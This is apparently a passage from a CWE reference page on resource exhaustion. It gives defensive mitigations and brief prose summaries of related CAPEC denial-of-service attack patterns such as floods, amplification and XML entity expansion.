Mitigation MIT-38.1
Architecture and Design Implementation
  • If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
  • Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding

An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.

CAPEC-130: Excessive Allocation

An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

CAPEC-229: Serialized Data Parameter Blowup

This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.

CAPEC-482: TCP Flood

An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.

CAPEC-486: UDP Flood

An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-487: ICMP Flood

An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-488: HTTP Flood

An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.

CAPEC-489: SSL Flood

An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.

CAPEC-490: Amplification

An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.

CAPEC-491: Quadratic Data Expansion

An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.

CAPEC-493: SOAP Array Blowup

An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.

CAPEC-494: TCP Fragmentation

An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.

CAPEC-495: UDP Fragmentation

An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.

CAPEC-496: ICMP Fragmentation

An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.

CAPEC-528: XML Flood

An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.

← Back to the CWE list